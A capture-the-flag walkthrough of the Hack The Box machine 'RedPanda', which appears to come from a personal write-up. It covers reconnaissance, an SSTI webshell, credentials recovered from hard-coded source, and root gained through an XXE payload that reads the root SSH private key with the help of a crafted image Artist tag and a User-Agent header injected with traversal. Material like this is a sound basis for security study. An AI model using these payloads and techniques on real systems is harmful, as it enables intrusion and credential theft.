RedPanda requires enumerating the host to find a web application running on port 8080, and use SSTI to retrieve the SSH credentials for the user woodenk. After obtaining shell as woodenk we can use XXE to retrieve the private key for the root user.

Recon

nmap (TCP all ports)

nmap finds two open TCP ports, SSH (22), and a HTTP server (8080):

$ cat general_tcp 
# Nmap 7.92 scan initiated Sat Jul 30 04:26:06 2022 as: nmap -v -p- -oN general_tcp 10.10.11.170
Nmap scan report for 10.10.11.170
Host is up (0.067s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sat Jul 30 04:26:45 2022 -- 1 IP address (1 host up) scanned in 39.04 seconds
$

nmap (found TCP ports exploration)

$ nmap -sC -sV 10.10.11.170 -p 22,8080 -oN specific_tcp
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-30 04:28 EDT
Nmap scan report for 10.10.11.170
Host is up (0.051s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open  http-proxy
| fingerprint-strings: 
...
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.68 seconds

$

HTTP - TCP 8080

Technologies used:

By checking the source code of the page being rendered we can see the following comment:

<!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->

By following the link we can see where the project was taken from:

Shell as woodenk

SSTI

By interacting with the web application, we can see that the application is vulnerable to SSTI. We can test this by using the following test:

The application will compute the operation and give us the following output:

We can also see, by interacting with various payloads, that the application filters the following chars:

  • $
  • _
  • %
  • ~

Webshell

The SSTI vulnerability doesn’t allow us to get a reverse or bind shell. To overcome this issue we can use the webshell provided by the web application.

Hard coded credentials

By searching through the source code for the web application we can find that the application has hard-coded credentials in the file /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java

The code retrieved is the following (shortened):

@Controller
public class MainController {
...

        Connection conn = null;
        PreparedStatement stmt = null;
        ArrayList<ArrayList> pandas = new ArrayList();
        try {
            Class.forName("com.mysql.cj.jdbc.Driver");
            conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
            stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?");
...

The credentials found here were the following:

woodenk:RedPandazRule

Shell by logging in as woodenk

By using the database credentials found for the user woodenk we can successfully login through SSH:

woodenk@redpanda:~$ id
uid=1000(woodenk) gid=1000(woodenk) groups=1000(woodenk)

Shell as root

Enumeration

Use of pspy

To better enumerate what the machine is performing, we use the tool pspy, which allows us to monitor processes without the need for root permissions. It allows us to see commands run by other users, cron jobs, etc. With this we can see that the root user is running a custom script:

2022/07/30 12:05:01 CMD: UID=1000 PID=30685  | /bin/bash /opt/cleanup.sh 
2022/07/30 12:05:01 CMD: UID=1000 PID=30686  | /usr/bin/find /tmp -name *.xml -exec rm -rf {} ; 
2022/07/30 12:05:01 CMD: UID=1000 PID=30687  | /bin/bash /opt/cleanup.sh 
2022/07/30 12:05:01 CMD: UID=1000 PID=30689  | /usr/bin/find /home/woodenk -name *.xml -exec rm -rf {} ; 
2022/07/30 12:05:01 CMD: UID=1000 PID=30692  | /usr/bin/find /tmp -name *.jpg -exec rm -rf {} ; 
2022/07/30 12:05:01 CMD: UID=1000 PID=30693  | /usr/bin/find /var/tmp -name *.jpg -exec rm -rf {} ; 
2022/07/30 12:05:01 CMD: UID=1000 PID=30694  | /usr/bin/find /dev/shm -name *.jpg -exec rm -rf {} ; 
2022/07/30 12:05:01 CMD: UID=1000 PID=30695  | /usr/bin/find /home/woodenk -name *.jpg -exec rm -rf {} ;

With this, we can see that the code is cleaning up some artifacts present in the tmp directory. These artifacts can be related to our web application.

Archive code

XML exporter

By reviewing the code we can find that there is an XML exporter being used in the webapp:

  @GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
        public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException {

                System.out.println("Exporting xml of: " + author);
                if(author.equals("woodenk") || author.equals("damian"))
                {
                        InputStream in = new FileInputStream("/credits/" + author + "_creds.xml");
                        System.out.println(in);
                        return IOUtils.toByteArray(in);
                }
                else
                {
                        return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r");
                }
        }

We can see that it uses a author parameter. This might be user provided.

Metadata managment

By checking the metadata management code we can see that the artist uri is provided as a parameter, so this might be user provided.

public static String getArtist(String uri) throws IOException, JpegProcessingException
{
    String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
    File jpgFile = new File(fullpath);
    Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
    for(Directory dir : metadata.getDirectories())
    {
        for(Tag tag : dir.getTags())
        {
            if(tag.getTagName() == "Artist")
            {
                return tag.getDescription();
            }
        }
    }

    return "N/A";
}

User-Agent managment

Finally, by checking the log parsing code we can see that the uri is in fact user provided:

public static Map parseLog(String line) {
    String[] strings = line.split(
    Map map = new HashMap<>();
    map.put("status_code", Integer.parseInt(strings[
    map.put("ip", strings[1]);
    map.put("user_agent", strings[2]);
    map.put("uri", strings[3]);
    return map;
}

Exploiting XXE

By looking at the configuration as a whole, we can see that we are able to give a path where the XML will be, this being the field “Artist”.

Firstly we will get ourselves an image and inject into its metadata the field artist where we should place a path. We should be careful in this step because only the users woodenk and damian are allowed to have credits.

$ wget "https://avatars.githubusercontent.com/u/55480558"                          
--2022-07-30 08:21:52--  https://avatars.githubusercontent.com/u/55480558
Resolving avatars.githubusercontent.com (avatars.githubusercontent.com)... 185.199.109.133, 185.199.111.133, 185.199.110.133, ...
Connecting to avatars.githubusercontent.com (avatars.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10793 (11K) [image/jpeg]
Saving to: ‘55480558’

55480558                               100%[===========================================================================>]  10.54K  --.-KB/s    in 0s      

2022-07-30 08:21:52 (23.1 MB/s) - ‘55480558’ saved [10793/10793]
$ mv 55480558 moonlotov.jpg

$ exiftool -Artist="../home/woodenk/privesc" moonlotov.jpg
    1 image files updated
    
$ 

After we have our custom image we should now upload it to the machine with the help of the scp tool and the credentials for the user woodenk

$ scp moonlotov.jpg woodenk@10.10.11.170:. 
woodenk@10.10.11.170's password: 
moonlotov.jpg                                                                                                            100%   11KB  75.5KB/s   00:00    

$ 

Now on our target machine, we should create an XML that uses XXE to retrieve the private key for the root user.

woodenk@redpanda:~$ cat privesc_creds.xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///root/.ssh/id_rsa"> ]>
<credits>
  <author>damian</author>
  <image>
    <uri>/../../../../../../../home/woodenk/moonlotov.jpg</uri>
    <hello>&ent;</hello>
    <views>0</views>
  </image>
  <totalviews>0</totalviews>
</credits>

Now that we have the files in place we should access the server with a custom User-Agent parameter:

$ curl http://10.10.11.170:8080 -H "User-Agent: ||/../../../../../../../home/woodenk/moonlotov.jpg"
$

After some time the process will trigger the cleanup.sh and therefore trigger our XXE. By checking later again the custom file we made we should be able to get the private key for the root user:

woodenk@redpanda:~$ cat privesc_creds.xml 
<?xml version="1.0" encoding="UTF-8"?>
<!--?xml version="1.0" ?-->
<!DOCTYPE replace>
<credits>
  <author>damian</author>
  <image>
    <uri>/../../../../../../../home/woodenk/moonlotov.jpg</uri>
    <hello>-----BEGIN OPENSSH PRIVATE KEY-----
<SNIP>
-----END OPENSSH PRIVATE KEY-----</hello>
    <views>2</views>
  </image>
  <totalviews>2</totalviews>
</credits>
woodenk@redpanda:~$ 

Obtain root

What remains to do, now that we have found the root private key, is just to log in as root by using SSH:

$ ssh root@10.10.11.170 -i id_rsa
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 30 Jul 2022 12:35:37 PM UTC

  System load:           0.04
  Usage of /:            81.6% of 4.30GB
  Memory usage:          66%
  Swap usage:            0%
  Processes:             256
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.170
  IPv6 address for eth0: dead:beef::250:56ff:feb9:5ad8


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Jul 30 12:28:02 2022 from 10.10.16.13
root@redpanda:~# id 
uid=0(root) gid=0(root) groups=0(root)
root@redpanda:~#